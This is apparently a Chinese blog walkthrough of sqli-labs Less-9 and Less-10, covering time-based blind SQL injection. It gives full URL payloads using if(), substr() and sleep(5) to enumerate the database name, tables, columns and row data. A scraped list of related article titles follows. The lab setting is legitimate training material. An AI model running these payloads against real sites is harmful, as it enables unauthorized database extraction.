sqli-labs less-9 --> less-10
时间盲注:
利用时间函数,观察不同条件的等待时长;利用sleep(),benchmark()等函数,让MySQL的执行时间变长
时间盲注多于if这样的函数结合(if(expr1,expr2,expr3)expr1为true,则返回expr2,否则返回expr3的值)
If (length(database())>3,sleep(5),1) 如果数据库字符长度大于三则MySQL休眠五秒,否则查询1
1’ and If (substr(database(),1,1)=’d’,sleep(5),1)
(与布尔盲注基本相同)
--------------------------------------------------------------------------------------------------
Less-9(时间盲注)
1.首先判断是否存在注入点
无论是执行?id=1还是?id=1’还是其他,回显都显示正常,联想本题的题目,使用时间的长短来进行判断,执行?id=1’ and sleep(5) --+,发现较长时间才做反应,由此推断存在注入点
2.爆数据库长度
执行?id=1’ and if(length(database())=8,sleep(5),1) --+ 判断数据库的长度是否为8
3.爆数据库名
执行?id=1' and if(length(database())=8,sleep(5),1) --+ 判断数据库长度
执行?id=1’ and if(substr(database(),1,1)=’s’,sleep(5),1) --+ 判断数据库名的第一个字符
同布尔类型的盲注类似,通过尝试得到数据库的库名为security
4.爆表名
爆第一个表的长度:
执行?id=1’ and if(length(select table_name from information_schema.tables where table_schema=’security’ limit 0,1)=6,sleep(5),1) --+,但是报错了,再三检查感觉命令没有错,于是到网上搜寻了一下别人的命令发现
执行?id=1’ and if(length((select table_name from information_schema.tables where table_schema=’security’ limit 0,1))=6,sleep(5),1) --+
(色块处是双括号与单括号的区别,经过尝试当使用select * from语法时都需要双括号)
爆第一个表的名字
执行?id=1’ and if(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1)=’e’,sleep(5),1) --+,由此得到第一个表的名字为emails,以此类推得到所有的表名
5.爆字段名
爆第一个字段名的长度:
执行?id=1’ and if(length((select column_name from information_schema.columns where table_name=’emails’ limit 0,1))=2,sleep(5),1) --+ 得到长度为2
爆第一个字段名:
执行?id=1’ and if(substr((select column_name from information_schema.columns where table_name=’emails’ limit 0,1),1,1)=’i’,sleep(5),1) --+ 执行正确,以此类推得到第一个字段名为id
6.爆数据
执行?id=1’ and if(length((select id from emails limit 0,1))=1,sleep(5),1) --+ 得到第一行数据的长度为1
执行?id=1’ and if(substr((select id from emails limit 0,1),1,1)=1,sleep(5),1) --+ 得到第一行数据为1,以此类推得到表id下的所有数据
-------------------------------------------------------END----------------------------------------------------------------
Less-10(时间盲注)
1.判断是否存在注入点
经过尝试执行?id=1” and sleep(5) --+ 回显出现延迟,判断存在注入点,注入方式为:””
2.与less-9方法完全相同
3.爆数据库
爆长度:执行?id=1” and if(length(database())=8,sleep(5),1) --+
爆数据库名:执行?id=1" and if(substr(database(),1,1)='s',sleep(5),1)--+
4.爆表
爆长度:执行?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(5),1)--+
爆表名:执行?id=1" and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)--+
5.爆字段
爆长度:执行?id=1" and if(length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2,sleep(5),1)--+
爆字段名:执行?id=1" and if(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)='i',sleep(5),1)--+
6.爆数据
爆长度:执行?id=1" and if(length((select id from emails limit 0,1))=1,sleep(5),1)--+
爆数据:执行?id=1" and if(substr((select id from emails limit 0,1),1,1)=1,sleep(5),1)--+
-------------------------------------------------------END----------------------------------------------------------------
sqli-labs less-9 --> less-10的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
随机推荐
- Redis中RDB和AOF持久化区别和联系
RDB和AOF持久化 RDB持久化 RDB是什么? 原理是redis会单独创建(fork) 一个与当前进程一模一 样的子进程来进行持久化,这个子进程的所有数据(变量.环境变量,程序程序计数器等) ...
- VFP的13个SPT函数
Visual FoxPro 中内置了13个以SQL开头的函数,我们把它们称为SPT函数.就是这13个函数完成了Visual FoxPro的所有的SQL Pass Though功能.从功能上看,我们可以 ...
- k8s系列---hpa扩容
centos-master:172.16.100.60 centos-minion:172.16.100.62 k8s,etcd,docker等都是采用yum装的,部署参考的k8s权威指南和一个视频, ...
- 持续化运维 DevOps
DevOps(Development和Operations的组合词)是一组过程.方法与系统的统称,用于促进开发(应用程序/软件工程).技术运营和质量保障(QA)部门之间的沟通.协作与整 ...
- SSM/SSH框架的MySQL 读写分离实现的一种简单方法
简介 MySQL已经是使用最为广泛的一种数据库,往往实际使用过程中,为实现高可用及高性能,项目会采用主丛复制的方式实现读写分离.MySQL本身支持复制,通过简单的配置即可实现一主多从的配置,具体实现可 ...
- Leetcode:面试题 04.03. 特定深度节点链表
Leetcode:面试题 04.03. 特定深度节点链表 Leetcode:面试题 04.03. 特定深度节点链表 先贴一下自己写过一个模板,按层数遍历: https://www.cnblogs.co ...
- CDC+ETL实现数据集成方案
欢迎咨询,合作! weix:wonter 名词解释: CDC又称变更数据捕获(Change Data Capture),开启cdc的源表在插入INSERT.更新UPDATE和删除DELETE活动时会插 ...
- MySQL基础(4) | 视图
MySQL基础(4) | 视图 基本语法 1.创建 CREATE VIEW <视图名> AS <SELECT语句> 语法说明如下. <视图名>:指定视图的名称.该名 ...
- Java面向对象入门(2)-访问修饰符
Java访问修饰符–public, protected, private and default Java提供了四个访问修饰符来设置类,变量,方法和构造函数的访问级别,即public,private, ...
- jmeter导入jmx文件报错:missing class com.thoughtworks.xstream.converters.ConversionException
有的时候我们会参考别人的jmx文件,但是在导入的时候会报错如下图: 实际上是告诉我们缺少jar包所引起的,下载对应jar包放到jmeter安装目录对应的lib/ext下就可以了,如下图: jmeter ...